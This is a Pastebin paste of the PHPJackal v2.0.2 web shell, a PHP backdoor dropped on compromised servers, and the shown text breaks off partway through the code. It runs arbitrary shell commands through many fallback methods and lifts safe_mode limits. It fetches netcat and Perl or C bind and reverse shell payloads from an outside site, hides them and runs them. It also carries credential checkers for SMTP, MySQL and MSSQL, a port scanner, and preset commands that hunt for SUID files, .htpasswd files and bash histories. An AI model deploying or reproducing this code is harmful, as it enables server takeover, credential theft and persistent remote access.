aljazara

PHPJackal v2.0.2

Apr 27th, 2013
735
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 120.81 KB | None | 0 0
  1. <?php
  2. #PHPJackal v2.0.2
  3. #http://h.ackerz.com
  4. #--Config--#
  5. $login_password='';#Login password
  6. $email='';#Just in case you forget the password
  7. $IP=array();#Allowed addresses [$IP=array('192.168.100.5','192.168.100.9');]
  8. #----------#
  9. error_reporting(0);
  10. ignore_user_abort(true);
  11. set_time_limit(0);
  12. ini_set('max_execution_time','0');
  13. ini_set('memory_limit','9999M');
  14. ini_set('output_buffering',0);
  15. set_magic_quotes_runtime(0);
  16. if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS;
  17. if(!isset($_POST))$_POST=&$HTTP_POST_VARS;
  18. if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
  19. if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS;
  20. if(!isset($_FILES))$_FILES=&$HTTP_POST_FILES;
  21. $_REQUEST = array_merge($_GET,$_POST);
  22. if(get_magic_quotes_gpc()){
  23. foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value);
  24. }
  25. if(count($IP) && !in_array($_SERVER['REMOTE_ADDR'],$IP))die('Access denied!');
  26. function hlinK($str=''){
  27. $myvars=array('attacH','forgeT','serveR','domaiN','modE','chkveR','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
  28. $ret=$_SERVER['PHP_SELF'].'?';
  29. $new=explode('&',$str);
  30. foreach($_GET as $key => $v){
  31. $add=1;
  32. foreach($new as $m){
  33. $el=explode('=',$m);
  34. if($el[0]==$key)$add=0;
  35. }
  36. if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";}
  37. }
  38. $ret.=$str;
  39. return $ret;
  40. }
  41. header('Cache-Control: no-cache, must-revalidate');
  42. header('Expires: Mon, 7 Aug 1987 05:00:00 GMT');
  43. if(!empty($_REQUEST['forgeT'])){
  44. mail($email,'PHPJackal Password','Your password on '.$_SERVER['HTTP_HOST'].' is "'.$login_password.'"');
  45. die("<h1>Mail sent</h1>");
  46. }
  47. if(!empty($login_password)){
  48. if(!empty($_REQUEST['fpassw'])){
  49. if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
  50. header('Location: '.hlinK());
  51. }
  52. if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password)){
  53. $forget='';
  54. if(!empty($email))$forget='<a href="'.hlinK("forgeT=1").'">Forget password!</a>';
  55. die('<html><body><form method="POST">Password:<input type="password" name="fpassw"><input type="submit" value="Login"></form><br />'.$forget.'</body></html>');
  56. }
  57. }
  58. if (!empty($_REQUEST['slfrmv'])){unlink(__FILE__);die("<h1>Bye</h1>");}
  59. if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']);
  60. if(empty($_REQUEST['seC']))$_REQUEST['seC']='about';
  61. $disablefunctions=ini_get('disable_functions');
  62. $disablefunctions=explode(',',$disablefunctions);
  63. function checkthisporT($ip,$port,$timeout,$type=0){
  64. if(!$type){
  65. $scan=fsockopen($ip,$port,$n,$s,$timeout);
  66. if($scan){fclose($scan);return 1;}
  67. }
  68. elseif(function_exists('socket_set_timeout')){
  69. $scan=fsockopen("udp://$ip",$port);
  70. if($scan){
  71. socket_set_timeout($scan,$timeout);
  72. fwrite($scan,"\x00");
  73. $s=time();
  74. fread($scan,1);
  75. if((time()-$s)>=$timeout){fclose($scan);return 1;}
  76. }
  77. }
  78. return 0;
  79. }
  80. if(!function_exists('is_executable')){
  81. function is_executable($addr){
  82. return 0;
  83. }
  84. }
  85. if(!function_exists('file_get_contents')){
  86. function file_get_contents($addr){
  87. $a=fopen($addr,'r');
  88. $tmp=fread($a,filesize($a));
  89. fclose($a);
  90. if($a)return $tmp;else return null;
  91. }
  92. }
  93. if(!function_exists('file_put_contents')){
  94. function file_put_contents($addr,$con){
  95. $a=fopen($addr,'w');
  96. if(!$a)return 0;
  97. $t=fwrite($a,$con);
  98. fclose($a);
  99. if($t)return strlen($con);
  100. return 0;
  101. }
  102. }
  103. function file_add_contentS($addr,$con){
  104. $a=fopen($addr,'a');
  105. if(!$a)return 0;
  106. fwrite($a,$con);
  107. fclose($a);
  108. return strlen($con);
  109. }
  110. if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']);
  111. if(!empty($_REQUEST['downloaD'])){
  112. @ob_clean();
  113. $dl=$_REQUEST['downloaD'];
  114. $con=file_get_contents($dl);
  115. header('Content-type: '.get_mimE($dl));
  116. header("Content-disposition: attachment; filename=\"$dl\";");
  117. header('Content-length: '.strlen($con));
  118. die($con);
  119. }
  120. if(!empty($_REQUEST['imagE'])){
  121. $img=$_REQUEST['imagE'];
  122. header('Content-type: image/gif');
  123. header("Content-length: ".filesize($img));
  124. header("Last-Modified: ".date('r',filemtime($img)));
  125. die(file_get_contents($img));
  126. }
  127. if(!empty($_REQUEST['exT'])){
  128. $ex=$_REQUEST['exT'];
  129. $e=get_extension_funcs($ex);
  130. echo '<html><head><title>'.htmlspecialchars($ex).'</title></head><body><b>Functions:</b><br>';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo '<font color=red>DISABLED</font>';echo '<br>';}
  131. die('</body></html>');
  132. }
  133. function showsizE($size){
  134. if($size>=1073741824)$size=round(($size/1073741824),2).' GB';
  135. elseif($size>=1048576)$size=round(($size/1048576),2).' MB';
  136. elseif($size>=1024)$size=round(($size/1024),2).' KB';
  137. else $size.=' B';
  138. return $size;
  139. }
  140. $windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0;
  141. $cwd=getcwd();
  142. $VERSION='2.0.2';
  143. $intro='<img src="http://h.ackerz.com/PHPJackal/images/about.png" style="border: none; margin: 0;" /><br /><br />
  144. <font color="red">
  145. <pre>
  146. ______ _ _ ______ ___ _ _
  147. | ___ \ | | || ___ \|_ | | | | |
  148. | |_/ / |_| || |_/ / | | __ _ ___| | ____ _| |
  149. | __/| _ || __/ | |/ _` |/ __| |/ / _` | |
  150. | | | | | || | /\__/ / (_| | (__| < (_| | |
  151. \_| \_| |_/\_| \____/ \__,_|\___|_|\_\__,_|_|
  152. </pre></font><br />Version: '.$VERSION.'<br />Author: Nima Ghotbi (NetJackal)<br />Website: <a href="http://h.ackerz.com" target="_blank">http://h.ackerz.com</a><br /><br />You can submit Bugs/Ideas/Question at <a href="http://h.ackerz.com/forums/" target="_blank">http://h.ackerz.com/forums/</a><br />
  153. <br />New in this version: <br />
  154. <ul>
  155. <li>Steganographer added.</li>
  156. <li>MySQL dump added.</li>
  157. <li>Mailer now support dynamic content and attachment.</li>
  158. <li>Now you can set an email address to recover password in case you forget it later.</li>
  159. <li>Editor improved.</li>
  160. <li>Crackers improved.</li>
  161. <li>Information section improved.</li>
  162. <li>Header grabber improved.</li>
  163. <li>Send by mail added to Filemanager.</li>
  164. <li>Bug fix in Filemanager section.</li>
  165. <li>...</li>
  166. </ul>';
  167. $hcwd="<input type=hidden name=workingdiR value='$cwd'>";
  168. function checkfunctioN($func){
  169. global $disablefunctions,$safemode;
  170. $safe=array('passthru','system','exec','shell_exec','popen','proc_open');
  171. if($safemode=='ON' && in_array($func,$safe))return 0;
  172. elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1;
  173. return 0;
  174. }
  175. function is_eveN($num){
  176. return ($num%2==0);
  177. }
  178. function asc2biN($char){
  179. return str_pad(decbin(ord($char)), 8, "0", STR_PAD_LEFT);
  180. }
  181. function rgb2biN($rgb){
  182. $binstream = "";
  183. $red = ($rgb >> 16) & 0xFF;
  184. $green = ($rgb >> 8) & 0xFF;
  185. $blue = $rgb & 0xFF;
  186. if(is_eveN($red))$binstream .= "1";else $binstream .= "0";
  187. if(is_eveN($green))$binstream .= "1";else $binstream .= "0";
  188. if(is_eveN($blue))$binstream .= "1";else $binstream .= "0";
  189. return $binstream;
  190. }
  191. function stegfilE($image, $fileaddr,$out){
  192. $filename=basename($fileaddr);
  193. $path=dirname($fileaddr);
  194. $imagename=basename($image);
  195. $binstream = $recordstream = "";
  196. $make_odd = Array();
  197. $pic = ImageCreateFromJPEG($image);
  198. $attributes = getImageSize($image);
  199. $outpic = ImageCreateFromJPEG($image);
  200. $data = file_get_contents($fileaddr);
  201. do{
  202. $boundary = chr(rand(0,255)).chr(rand(0,255)).chr(rand(0,255));
  203. } while(strpos($data,$boundary)!==false && strpos($hidefile['name'],$boundary)!==false);
  204. $data = $boundary.$filename.$boundary.$data.$boundary;
  205. if(strlen($data)*8 > ($attributes[0]*$attributes[1])*3){
  206. return "Cannot fit $filename in $imagename.<br />$imagename requires mask to contain at least ".(intval((strlen($data)*8)/3)+1)." pixels.<br />Maximum filesize that $imagename can hide is ".intval((($attributes[0]*$attributes[1])*3)/8)." bytes";
  207. }
  208. for($i=0; $i<strlen($data) ; $i++)
  209. {
  210. $char = $data{$i};
  211. $binary = asc2biN($char);
  212. $binstream .= $binary;
  213.  
  214. for($j=0 ; $j<strlen($binary) ; $j++)
  215. {
  216. $binpart = $binary{$j};
  217. if($binpart=="0")
  218. {
  219. $make_odd[] = true;
  220. } else {
  221. $make_odd[] = false;
  222. }
  223. }
  224. }
  225. $y=0;
  226. for($i=0,$x=0; $i<sizeof($make_odd) ; $i+=3,$x++){
  227. $rgb = ImageColorAt($pic, $x,$y);
  228. $cols = Array();
  229. $cols[] = ($rgb >> 16) & 0xFF;
  230. $cols[] = ($rgb >> 8) & 0xFF;
  231. $cols[] = $rgb & 0xFF;
  232.  
  233. for($j=0 ; $j<sizeof($cols) ; $j++)
  234. {
  235. if($make_odd[$i+$j]===true && is_eveN($cols[$j])){
  236. $cols[$j]++;
  237. } else if($make_odd[$i+$j]===false && !is_eveN($cols[$j])){
  238. $cols[$j]--;
  239. }
  240. }
  241. $temp_col = ImageColorAllocate($outpic,$cols[0],$cols[1],$cols[2]);
  242. ImageSetPixel($outpic,$x,$y,$temp_col);
  243. if($x==($attributes[0]-1)){
  244. $y++;
  245. $x=-1;
  246. }
  247. }
  248. ImagePNG($outpic,$out);
  249. return '<b>Well done!</b> <a href="'.hlink("seC=img&filE=$out&workingdiR=$path").'">'.htmlspecialchars($out).'</a><br />';
  250. }
  251. function steg_recoveR($fileaddr){
  252. global $cwd;
  253. $ascii=$boundary=$binstream=$filename="";
  254. $attributes = getImageSize($fileaddr);
  255. $pic = ImageCreateFromPNG($fileaddr);
  256. if(!$pic || !$attributes){
  257. return "could not read image";
  258. }
  259. $bin_boundary = "";
  260. for($x=0 ; $x<8 ; $x++)
  261. {
  262. $bin_boundary .= rgb2biN(ImageColorAt($pic, $x,0));
  263. }
  264. for($i=0 ; $i<strlen($bin_boundary) ; $i+=8)
  265. {
  266. $binchunk = substr($bin_boundary,$i,8);
  267. $boundary .= chr(bindec($binchunk));
  268. }
  269. $start_x = 8;
  270. for($y=0 ; $y<$attributes[1] ; $y++)
  271. {
  272. for($x=$start_x ; $x<$attributes[0] ; $x++){
  273. $binstream .= rgb2biN(ImageColorAt($pic, $x,$y));
  274. if(strlen($binstream)>=8){
  275. $binchar = substr($binstream,0,8);
  276. $ascii .= chr(bindec($binchar));
  277. $binstream = substr($binstream,8);
  278. }
  279. if(strpos($ascii,$boundary)!==false){
  280. $ascii = substr($ascii,0,strlen($ascii)-3);
  281. if(empty($filename)){
  282. $filename = $ascii;
  283. $ascii = "";
  284. } else {
  285. break 2;
  286. }
  287. }
  288. }
  289. $start_x = 0;
  290. }
  291. file_put_contents($filename,$ascii);
  292. return '<b>Well done!</b> <a href="'.hlink("seC=openit&namE=$filename&workingdiR=$cwd").'">'.htmlspecialchars($filename).'</a><br />';
  293. }
  294. function whereistmP(){
  295. $uploadtmp=ini_get('upload_tmp_dir');
  296. $uf=getenv('USERPROFILE');
  297. $af=getenv('ALLUSERSPROFILE');
  298. $se=ini_get('session.save_path');
  299. $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
  300. if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
  301. if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
  302. if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
  303. if(is_dir($uf) && is_writable($uf))return $uf;
  304. if(is_dir($af) && is_writable($af))return $af;
  305. if(is_dir($se) && is_writable($se))return $se;
  306. if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
  307. if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
  308. return '.';
  309. }
  310. function shelL($command){
  311. global $windows;
  312. $exec=$output='';
  313. $dep[]=array('pipe','r');$dep[]=array('pipe','w');
  314. if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
  315. elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
  316. elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;}
  317. elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command);
  318. elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
  319. elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
  320. elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command);
  321. elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command);
  322. elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command);
  323. elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws);
  324. elseif(extension_loaded('perl'))$exec=perlshelL($command);
  325. return $exec;
  326. }
  327. function getiT($get){
  328. $fo=strtolower(ini_get('allow_url_fopen'));
  329. $ui=strtolower(ini_get('allow_url_include'));
  330. if($fo || $fo=='on')$con=file_get_contents($get);
  331. elseif($ui || $ui=='on'){
  332. ob_start();
  333. include($get);
  334. $con=ob_get_contents();
  335. ob_end_clean();
  336. }
  337. else{
  338. $u=parse_url($get);
  339. $host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port'];
  340. $url=fsockopen($host,$port,$en,$es,12);
  341. fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  342. $tmp=$con='';
  343. while($tmp!="\r\n")$tmp=fgets($url);
  344. while(!feof($url))$con.=fgets($url);
  345. }
  346. return $con;
  347. }
  348. function downloadiT($get,$put){
  349. $con=getiT($get);
  350. $mk=file_put_contents($put,$con);
  351. if($mk)return 1;
  352. return 0;
  353. }
  354. function winshelL($command){
  355. $name=whereistmP()."\\".uniqid('NJ');
  356. win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
  357. sleep(1);
  358. $exec=file_get_contents($name);
  359. unlink($name);
  360. return $exec;
  361. }
  362. function ffishelL($command){
  363. $name=whereistmP()."\\".uniqid('NJ');
  364. $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  365. $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
  366. while(!file_exists($name))sleep(1);
  367. $exec=file_get_contents($name);
  368. unlink($name);
  369. return $exec;
  370. }
  371. function srvshelL($command){
  372. $name=whereistmP()."\\".uniqid('NJ');
  373. $n=uniqid('NJ');
  374. $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
  375. win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
  376. win32_start_service($n);
  377. win32_stop_service($n);
  378. win32_delete_service($n);
  379. while(!file_exists($name))sleep(1);
  380. $exec=file_get_contents($name);
  381. unlink($name);
  382. return $exec;
  383. }
  384. function get_mimE($filename){
  385. global $windows;
  386. preg_match("/\.(.*?)$/", $filename, $m);
  387. switch(strtolower($m[1])){
  388. case "js": return "application/javascript";
  389. case "json": return "application/json";
  390. case "jpg": case "jpeg": case "jpe": return "image/jpg";
  391. case "png": case "gif": case "bmp": return "image/".strtolower($m[1]);
  392. case "css": return "text/css";
  393. case "xml": return "application/xml";
  394. case "html": case "htm": case "php": return "text/html";
  395. default:
  396. if(function_exists("mime_content_type")){$m = mime_content_type($filename);}elseif(function_exists("finfo_open")){
  397. $finfo = finfo_open(FILEINFO_MIME);
  398. $m = finfo_file($finfo, $filename);
  399. finfo_close($finfo);
  400. }else{
  401. if($windows)return "application/octet-stream";
  402. if(strstr($_SERVER[HTTP_USER_AGENT], "Macintosh")){$m = trim(shelL('file -b --mime '.$filename));
  403. }else{
  404. $m = trim(shelL('file -bi '.$filename));
  405. }
  406. }
  407. $m = split(";", $m);
  408. return trim($m[0]);
  409. }
  410. }
  411. function comshelL($command,$ws){
  412. $exec=$ws->exec("cmd.exe /c $command");
  413. $so=$exec->StdOut();
  414. return $so->ReadAll();
  415. }
  416. function perlshelL($command){
  417. $perl=new perl();
  418. ob_start();
  419. $perl->eval("system('$command')");
  420. $exec=ob_get_contents();
  421. ob_end_clean();
  422. return $exec;
  423. }
  424. function smtpchecK($addr,$user,$pass,$timeout){
  425. $sock=fsockopen($addr,25,$n,$s,$timeout);
  426. if(!$sock)return -1;
  427. fread($sock,1024);
  428. fputs($sock,'ehlo '.uniqid('NJ')."\r\n");
  429. $res=substr(fgets($sock,512),0,1);
  430. if($res!='2')return 0;
  431. fgets($sock,512);fgets($sock,512);fgets($sock,512);
  432. fputs($sock,"AUTH LOGIN\r\n");
  433. $res=substr(fgets($sock,512),0,3);
  434. if($res!='334')return 0;
  435. fputs($sock,base64_encode($user)."\r\n");
  436. $res=substr(fgets($sock,512),0,3);
  437. if($res!='334')return 0;
  438. fputs($sock,base64_encode($pass)."\r\n");
  439. $res=substr(fgets($sock,512),0,3);
  440. if($res!='235')return 0;
  441. return 1;
  442. }
  443. function mysqlchecK($host,$user,$pass,$timeout){
  444. if(function_exists('mysql_connect')){
  445. $l=mysql_connect($host,$user,$pass);
  446. if($l)return 1;
  447. }
  448. return 0;
  449. }
  450. function mssqlchecK($host,$user,$pass,$timeout){
  451. if(function_exists('mssql_connect')){
  452. $l=mssql_connect($host,$user,$pass);
  453. if($l)return 1;
  454. }
  455. return 0;
  456. }
  457. function checksmtP($host,$timeout){
  458. $from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com';
  459. $sock=fsockopen($host,25,$n,$s,$timeout);
  460. if(!$sock)return -1;
  461. $res=substr(fgets($sock,512),0,3);
  462. if($res!='220')return 0;
  463. fputs($sock,'HELO '.uniqid('NJ')."\r\n");
  464. $res=substr(fgets($sock,512),0,3);
  465. if($res!='250')return 0;
  466. fputs($sock,"MAIL FROM: <$from>\r\n");
  467. $res=substr(fgets($sock,512),0,3);
  468. if($res!='250')return 0;
  469. fputs($sock,"RCPT TO: <[email protected]>\r\n");
  470. $res=substr(fgets($sock,512),0,3);
  471. if($res!='250')return 0;
  472. fputs($sock,"DATA\r\n");
  473. $res=substr(fgets($sock,512),0,3);
  474. if($res!='354')return 0;
  475. fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n");
  476. $res=substr(fgets($sock,512),0,3);
  477. if($res!='250')return 0;
  478. return 1;
  479. }
  480. function replace_stR($s,$h){
  481. $ret=$h;
  482. foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret);
  483. return $ret;
  484. }
  485. function check_urL($url,$method,$search='200',$timeout=3){
  486. $u=parse_url($url);
  487. $method=strtoupper($method);
  488. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
  489. $data=(!empty($u['query']))?$u['query']:'';
  490. if(!empty($data))$data="?$data";
  491. $sock=fsockopen($host,$port,$en,$es,$timeout);
  492. if($sock){
  493. fputs($sock,"$method $file$data HTTP/1.0\r\n");
  494. fputs($sock,"Host: $host\r\n");
  495. if($method=='GET')fputs($sock,"\r\n");
  496. elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
  497. else return 0;
  498. if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;}
  499. while(!feof($sock)){
  500. $res=fgets($sock);
  501. if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
  502. }
  503. fclose($sock);
  504. }
  505. return 0;
  506. }
  507. function get_sw_namE($host,$timeout){
  508. $sock=fsockopen($host,80,$en,$es,$timeout);
  509. if($sock){
  510. $page=uniqid('NJ');
  511. fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
  512. while(!feof($sock)){
  513. $con=fgets($sock);
  514. if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
  515. }
  516. fclose($sock);
  517. return -1;
  518. }return 0;
  519. }
  520. function snmpchecK($ip,$com,$timeout){
  521. $res=0;
  522. $n=chr(0x00);
  523. $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n;
  524. $sock=fsockopen("udp://$ip",161);
  525. if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout);
  526. fputs($sock,$packet);
  527. socket_set_timeout($sock,$timeout);
  528. $res=fgets($sock);
  529. fclose($sock);
  530. if($res != '')return 1;else return 0;
  531. }
  532. $safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF';
  533. if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');}
  534. function brshelL(){
  535. global $windows,$hcwd;
  536. echo '<img src="http://h.ackerz.com/PHPJackal/images/br.png" style="border: none; margin: 0;" /><br /><br />';
  537. $_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
  538. $addr='http://h.ackerz.com/PHPJackal/br';
  539. $error="Can not make backdoor file, go to writeable folder.";
  540. $n=uniqid('NJ_');
  541. if(!$windows)$n=".$n";
  542. $d=whereistmP();
  543. $name=$d.DIRECTORY_SEPARATOR.$n;
  544. $c=($_REQUEST['C'])?1:0;
  545. if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){
  546. $port=(int)$_REQUEST['port'];
  547. if($windows){
  548. if($c){
  549. $name.='.exe';
  550. $bd=downloadiT("$addr/nc",$name);
  551. shelL("attrib +H $name");
  552. if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
  553. }else{
  554. $name=$name.'.pl';
  555. $bd=downloadiT("$addr/winbind.p",$name);
  556. shelL("attrib +H $name");
  557. if(!$bd)echo $error;else shelL("perl $name $port");
  558. }
  559. }
  560. else{
  561. if($c){
  562. $bd=downloadiT("$addr/bind.c",$name);
  563. if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
  564. }else{
  565. $bd=downloadiT("$addr/bind.p",$name);
  566. if(!$bd)echo $error;else shelL("cd $d;perl $n $port &");
  567. echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
  568. }
  569. }
  570. }
  571. elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
  572. $ip=$_REQUEST['ip'];
  573. $port=(int)$_REQUEST['rport'];
  574. if($windows){
  575. if($c){
  576. $name.='.exe';
  577. $bd=downloadiT("$addr/nc",$name);
  578. shelL("attrib +H $name");
  579. if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
  580. }else{
  581. $name=$name.'.pl';
  582. $bd=downloadiT("$addr/winrc.p",$name);
  583. shelL("attrib +H $name");
  584. if (!$bd)echo $error;else shelL("perl.exe $name $ip $port");
  585. }
  586. }
  587. else{
  588. if($c){
  589. $bd=downloadiT("$addr/rc.c",$name);
  590. if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
  591. }else{
  592. $bd=downloadiT("$addr/rc.p",$name);
  593. if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &");
  594. }
  595. }
  596. echo '<font color=blue>Done!</font>';}
  597. else{
  598. echo '<form name=bind method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Bind shell</label></div><div class="fieldwrapper"><label class="styled">Port:</label><div class="thefield"><input type="text" name="port" value="55501" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="radio" value="0" checked name="C" /> <label>PERL</label></li><li><input type="radio" name="C" value="1" /> <label>';if($windows)echo 'EXE';else echo 'C';echo '</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Bind" style="margin-left: 150px;" /></div></form><form name=reverse method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Reverse shell</label></div><div class="fieldwrapper"><label class="styled">IP:</label><div class="thefield"><input type="text" name="ip" value="';echo $_SERVER['REMOTE_ADDR'];echo '" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Port:</label><div class="thefield"><input type="text" name="rport" value="53" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="radio" value="0" checked name="C" /> <label>PERL</label></li><li><input type="radio" name="C" value="1" /> <label>';if($windows)echo 'EXE';else echo 'C';echo '</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Connect" style="margin-left: 150px;" /></div></form>';
  599. }
  600. }
  601. function showimagE($img){
  602. echo '<img border=0 src="'.hlinK("imagE=$img&&workingdiR=".getcwd()).'"><br /><a href="javascript: history.go(-1)"><img src="http://h.ackerz.com/PHPJackal/images/back.png" /><b>Back</b></a>';}
  603. function editoR($file=''){
  604. global $hcwd,$cwd;
  605. if(!empty($_REQUEST['filE']))$file=$_REQUEST['filE'];
  606. if($file=='')$file=$cwd;else $file=realpath($file);
  607. $data="";
  608. if(is_file($file)){
  609. if(!is_readable($file)){echo "File is not readable";}
  610. if(!is_writeable($file)){echo "File is not writeable";}
  611. $data=file_get_contents($file);
  612. }
  613. echo '<img src="http://h.ackerz.com/PHPJackal/images/editor.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">File:</label><div class="thefield"><input type="text" name="filE" value="'.htmlspecialchars($file).'" size="30" />'.$hcwd.'</div></div><div class="buttonsdiv"><input type="submit" name="open" value="Open" style="margin-left: 150px;" /></div></form><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Content:</label><div class="thefield"><textarea name="edited">'.htmlspecialchars($data).'</textarea></div></div>'.$hcwd.'<input type="hidden" name="filE" value="'.htmlspecialchars($file).'"/><div class="buttonsdiv"><input type="submit" name="Save" value="Save" style="margin-left: 150px;" /></div></form>';
  614. }
  615. function webshelL(){
  616. global $windows,$hcwd,$cwd;
  617. if($windows){
  618. $alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>";
  619. }
  620. else{
  621. $alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d -print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>";
  622. if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>";
  623. if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>";
  624. }
